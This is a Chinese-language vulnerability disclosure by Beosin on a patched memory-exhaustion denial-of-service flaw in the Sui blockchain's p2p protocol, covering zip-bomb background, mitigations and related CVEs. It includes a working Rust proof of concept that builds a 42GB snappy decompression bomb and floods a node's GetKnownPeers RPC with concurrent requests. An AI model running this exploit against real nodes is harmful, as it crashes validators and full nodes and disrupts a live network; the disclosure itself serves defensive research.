Beosin硬核安全研究 :內存炸彈漏洞導致Sui節點崩潰?

2023-09-04 16:09:36

作者:Beosin安全研究專家Poet

目前該漏洞已被官方修復。Sui mainnet_v1.6.3(2023年8月1號)已經修復了此漏洞。

 

前言

此前Beosin安全團隊發現了多個公鏈相關的漏洞,其中有一個漏洞比較有意思,我們與Sui團隊溝通後,徵得同意可以將其詳細信息公开。 這是Sui公鏈p2p協議中的一個拒絕服務漏洞,該漏洞可導致Sui網絡中的節點因內存耗盡而崩潰。這個拒絕服務漏洞是由一個古老的攻擊方式引起的————“內存炸彈”。

本文通過對該漏洞的介紹,希望大家對“內存炸彈”攻擊和其防御手段有更多的認識和理解。Beosin作為區塊鏈安全行業的領先者,我們持續關注公鏈平臺的安全性。

什么是內存炸彈?

最早的內存炸彈是zip炸彈,也叫死亡zip, 是一種惡意的計算機文件,會使讀取它的程序崩潰或失效。zip炸彈不會劫持程序的操作,而是一個消耗過多時間、磁盤空間或內存來解壓縮的壓縮包。

zip 炸彈的一個例子是文件42.zip,它是一個由42KB壓縮數據組成的zip文件,包含16組的五層嵌套zip文件,每個底層存檔包含一個4.3GB字節(4 294 967295 字節;4 GiB − 1 B)的文件,總計 4.5 PB(4503 599626321 920 字節;4 PiB − 1 MiB) 的未壓縮數據。

zip炸彈的基本原理是,我們生成一個非常大的內容全是0(或者其他值)的文件,然後壓縮成zip文件,由於相同內容的文件的壓縮比非常大,此時生成的zip文件非常小。被攻擊目標在解壓zip文件之後,需要消耗非常多的內存來存儲被解壓之後的文件,內存會被快速耗盡,目標因為OOM而崩潰。

我們在Windows上做一個簡單的實驗:

利用如下命令生成一個內容全是0的,大小為1GB的文件:

fsutil file createnew test.txt 1073741824

利用7zip命令,將文件壓縮為zip格式:

7z a test.zip test.txt

壓縮後的文件大小為:1.20MB

由此我們可以知道,對於全部是0的文件,zip壓縮比接近851:1

其實,任何格式的壓縮包都有可能成為內存炸彈,不僅僅是zip壓縮包。

我們繼續這個實驗,在Windows上用7zip將1GB的內容全是0的大文件,壓縮為不同的格式。這樣我們得出下面的壓縮比列表:

事實上,不同的文件格式支持不同的壓縮算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同壓縮算法的壓縮比是不一樣的。上面的表格是基於7zip默認壓縮算法的測試結果。

內存炸彈一般防御方法

我們可以通過限制解壓後的文件大小來防御“內存炸彈”攻擊。以下的方法可以限制解壓後的文件大小:

1 解壓後的數據大小放入壓縮包裏面。在壓縮文件的某個位置讀取這個值,然後判斷其大小是否符合要求。

2 第一個方法無法完全解決這個問題,因為解壓後的文件大小可以被僞造。所以我們可以傳遞一個固定大小的Buffer,解壓過程中,如果數據大小超出Buffer的邊界,那么就停止解壓,返回失敗信息。

3 還有一個辦法是流式解壓。一邊傳入小部分壓縮數據,一邊解壓這個數據,同時累加解壓後的數據大小,如果在某一個時刻,解壓後的數據大小超過閾值,就停止解壓,返回失敗信息。

 

歷史上的“內存炸彈”漏洞

1 CVE-2023-3782

這是一個OKHttp庫的漏洞。OKHttp支持Brotli壓縮算法,如果HTTP響應指定了Brotli壓縮算法,由於OKHttp沒有做“內存炸彈”攻擊的防御,客戶端會因為內存耗盡而崩潰。

我們可以看到,漏洞補丁限制了壓縮系數。

2 CVE-2022-36114

這是Rust包管理器Cargo的一個漏洞。Cargo從代碼源下載包的時候,沒有做“內存炸彈”防御,導致解壓之後的文件佔用的磁盤空間非常大。

我們可以看到,漏洞補丁限制解壓後的文件大小最大為512MB。

3 CVE-2022-32206

這是知名網絡下載工具curl的一個漏洞。curl < 7.84.0 支持“鏈式”HTTP 壓縮算法,這意味着服務器響應可以多次壓縮,並且可能使用不同的算法。這個“解壓鏈”中可接受的“鏈接”數量是無限的,允許惡意服務器插入幾乎無限數量的壓縮步驟。使用這樣的解壓鏈可能會導致“內存炸彈”,使得curl最終花費大量的內存,因內存不足發生錯誤。

Sui漏洞描述

1 在Sui的p2p協議中,為了減少帶寬壓力,有部分RPC消息是用snappy算法壓縮的。

2 每個Sui節點(不管是validator還是fullnode)在p2p網絡中都提供節點發現("/sui.Discovery/GetKnownPeers")和數據同步("/sui.StateSync/PushCheckpointSummary")RPC服務。節點發現和數據同步的RPC消息,實際上是使用snappy壓縮過的數據。在處理RPC消息的過程中,節點先將數據全部解壓到內存,再用bcs算法反序列化,然後釋放解壓數據和原始數據。處理RPC數據的代碼在"crates/mysten-network/src/codec.rs"文件裏:

   impl Decoder for BcsSnappyDecoder {        type Item = U;        type Error = bcs::Error;
       fn decode(&mut self, buf: bytes::Bytes) -> Result {            let compressed_size = buf.len();            let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader());            let mut bytes = Vec::with_capacity(compressed_size);            //Decompress            snappy_decoder.read_to_end(&mut bytes)?;            //Deserialize            bcs::from_bytes(bytes.as_slice())        }    }

3 RPC消息的最大size為2G。這個限制硬編碼在"crates/sui-node/src/lib.rs"文件裏面:

        let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default();        // Set the max_frame_size to be 2 GB to work around the issue of there being too many        // staking events in the epoch change txn.        anemo_config.max_frame_size = Some(2 << 30);   // size of 2G !!!!!

4 我們可以創建一個1.97G的snappy壓縮文件,解壓之後變為42G,且文件內容全部為0。

5 選擇"/sui.Discovery/GetKnownPeers"這個p2p RPC作為被攻擊的接口,向其發送大小為1.97G的RPC消息。那么節點需要至少42+1.97=43.97G的內存來解壓這個消息。

6 如果Sui節點(不管是validator還是fullnode)可用內存超過43.97G,那么我們可以同時發送n個RPC消息,這樣在某個時間點,sui節點需要m(m一般小於n)個43.97G內存空間才能處理我們的攻擊payload。

如果內存不足,sui節點就會崩潰。

以下是我們的測試結果

我們可以看到,節點因為“Out of memory”而被系統“殺死”。

 

PoC

1 創建基於snappy算法的“內存炸彈”

    //generate the "memory bomb"    //48.2M -> 1G    //96.4M -> 2G    //385M  -> 8G    //1.97G -> 42G    //    //set "how_many_gb" to set the decompressed size of "bomb"        let buf = [0; 1024];        let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap();        let mut encoder = snap::write::FrameEncoder::new(&file);        let how_many_gb = 42;        for _i in 0..1024 * 1024 * how_many_gb {            let _ = encoder.write_all(&buf).unwrap();        }        return;

2 攻擊節點

pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {    let router = f(anemo::Router::new());    let mut config = Config::default();    config.max_frame_size = Some(2 << 30);    // config.max_frame_size = Some(usize::MAX);    config.outbound_request_timeout_ms = Some(100 * 1000);    let network = anemo::Network::bind("0.0.0.0:0")        .private_key(random_key())        .server_name(chain_id)        .alternate_server_name("sui")        .config(config)        .start(router)        .unwrap();
   println!(        "starting network {} {}",        network.local_addr(),        network.peer_id(),    );
   network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> {    let network = build_network(|a| {a},chain_id);    let (mut rec, _a) = network.subscribe()?;    tokio::spawn(async move { handle_event(&mut rec).await });
   let peerid = network.connect(address).await?;
   let mut request = Request::new(buf);    *request.route_mut() = "/sui.Discovery/GetKnownPeers".into();    // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into();    let response = network.rpc(peerid, request).await?;    println!("{:?}", response);    loop {        sleep(Duration::from_millis(2000)).await;    }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() {    //read the "bomb" file.    let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap();    let mut buf: Vec = Vec::new();    let _size = in_file.read_to_end(&mut buf).unwrap();    let bs = Bytes::from(buf);
   //you can change "concurrent_attack" to a appropriate number!!!    let concurrent_attack = 20;    let target_ip = "192.168.153.129";    let target_port = 35561;    //you can get your private network's chain_id from the sui-node's stdout.    let chain_id = "sui-76e065b8";    for _i in 0..concurrent_attack {        let bs = bs.clone();        tokio::spawn(async move {            let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await;            println!("error : {:?}", respone);
       });    }
   loop {        sleep(Duration::from_millis(2000)).await;    }}

補丁代碼分析

我們可以看到補丁代碼利用了流式解壓,並限制了解壓後的最大大小為1G。同時將RPC消息的大小限制從2G降低為1G。

 

漏洞影響

這個漏洞可以導致單個節點崩潰(validator和fullnode)。 漏洞利用非常簡單,只需要啓動多個线程向節點發送payload,就可導致節點崩潰,不需要消耗gas費用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影響。

 

漏洞修復

Sui mainnet_v1.6.3(2023年8月1號)已經修復了此漏洞。Beosin也將持續關注各大公鏈上的漏洞,為整個Web3生態護航。

 

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播信息之目的,不構成任何投資建議,如有侵權行為,請第一時間聯絡我們修改或刪除,多謝。

推薦文章

USDT大到倒不了?華爾街債券交易巨頭Cantor取得Tether5%股權

據 華爾街日報今日 披露 ,華爾街債券交易巨頭 Cantor Fitzgerald 在 2023...

James
8 15小時前

空投周報 | Magic Eden代幣將於12月10日TEG;Side Protocol空投將於11月26日开放申領(11.18-11.24)

@OdailyChina @web3_golem Odaily星球日報盤點了 11 月 18 日至...

星球日報
8 15小時前

富爸爸喊比特幣1300萬美元!力挺Michael Saylor預測:微策略是對的

受 惠於比特幣不斷屢創新高,上市公司比特幣持倉量霸主微策略(MicroStrategy)股價今年大...

James
10 23小時前

Arthur Hayes:比特幣2025年底將25萬鎂!狗狗幣上看1美元

B itMEX 創辦人 Arthur Hayes 在近日 參與 Alpha First Podca...

James
10 23小時前

避險需求暴增!黃金單周漲6%重返2712美元,會如何影響比特幣行情?

自 川普勝選以來,美元強勁升值,在選前不斷走高的金價反而開始疲軟,在 11 月中更跌至 2 個月新...

James
10 23小時前

讀懂以太坊基金會2024報告,迎接特朗普時代合規挑战

2024 年美國大選終於塵埃落地,備受加密行業關注與支持的特朗普也算是“熹妃回宮”,不知道當時各位...

星球日報
9 23小時前